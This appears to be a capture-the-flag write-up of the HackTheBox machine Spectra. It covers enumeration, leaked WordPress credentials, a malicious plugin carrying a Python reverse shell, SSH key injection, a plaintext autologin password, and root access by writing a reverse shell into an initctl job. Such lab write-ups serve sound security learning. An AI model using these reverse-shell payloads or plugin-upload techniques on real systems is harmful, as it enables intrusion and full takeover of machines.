Welcome to the Spectra writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Spectra

tags: HTB Easy Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn`t have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   93.88 ms 10.10.14.1
2   97.24 ms 10.10.10.229

In the port scan we can see a web service active on port 80 and the SSH service on the classic port 22.

To begin, we add to our file /etc/hosts the ip and the machine name as alias.

echo "10.10.10.229 spectra.htb www.spectra.htb" >> /etc/hosts

Port 80

Accessing the URL http://spectra.htb/testing/ we can see that the directory listing is active and it contains a file called wp-config.php.save, let's see what it has. This file will not show its content on the screen but if we see the source code by pressing Ctrl + U we can see its content and between its lines, some credentials to the MySQL database.

/ ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Exploitation

With the password found in the file wp-config.php.save we can access the worpress administration panel with the default user administrator and the found password devteam01.

From this panel being administrators we can get a shell, for this we are going to create a PHP file with an exec() execution of a reverse shell in Python zipping it to be able to install it as a plugin.
We just need to create a PHP file called for example wp-shell-plugin.php with the following content:

<?php
exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.227\",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");
?>

And zip it into a .zip file to import it as a plugin. After importing, we only need to put a listener in a terminal, activate the pluging and enjoy our shell!.

Post exploitation

Upgrade to SSH

In this case, as the user with whom we have accessed has a user with shell access in the system, we can inject an SSH key to be able to connect through SSH. For this we only need to inject the key contained in the file id_rsa.pub into the file authorized_keys originally non-existent within the path /home/nginx/.ssh/authorized_keys and after that, access with ssh -i id_rsa [email protected]

Enumeration

By listing the system directories, we can find a file called autologin.conf.orig, where it is shown that the passwords are stored in /mnt/stateful_partition/etc/autologin or in /etc/autologin.

[email protected] ~/.pki/nssdb $ cd /opt/
[email protected] /opt $ ls
VirtualBox  autologin.conf.orig  broadcom  displaylink  eeti  google  neverware  tpm1  tpm2
[email protected] /opt $ cat autologin.conf.orig
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "[email protected]"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  # Inject keys into the login prompt.
  #
  # For this to work, you must have already created an account on the device.
  # Otherwise, no login prompt appears at boot and the injected keys do the
  # wrong thing.
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
end
[email protected] /opt $ ls /mnt/stateful_partition/etc/autologin
ls: cannot access '/mnt/stateful_partition/etc/autologin': No such file or directory

Since there is no /mnt/stateful_partition folder, we check and find the password in /etc/autologin/passwd.

[email protected] /opt $ ls /etc/autologin
passwd
[email protected] /opt $
[email protected] /opt $ cat /etc/autologin/passwd
SummerHereWeCome!!
[email protected] /opt $

Once we have the password SummerHereWeCome!! we use it to connect by SSH as katie and we get the user flag!.

Privilege scalalion

Sudo

[email protected] ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

Well, if we execute /sbin/initctl list we can see that there are several test files listed on which we have write permissions as they belong to the developers group, so we should be able to inject a reverse shell for example in the file test.conf replacing the command that executes the script's exec function.

description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.227",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

Now with a terminal listening, we execute the script with the command sudo /sbin/initctl start test.

# nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.227] from (UNKNOWN) [10.10.10.229] 40748
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
main
nodetest.js
root.txt
script.sh
startup
test.conf
# cat root.txt
CENSORED_FLAG
#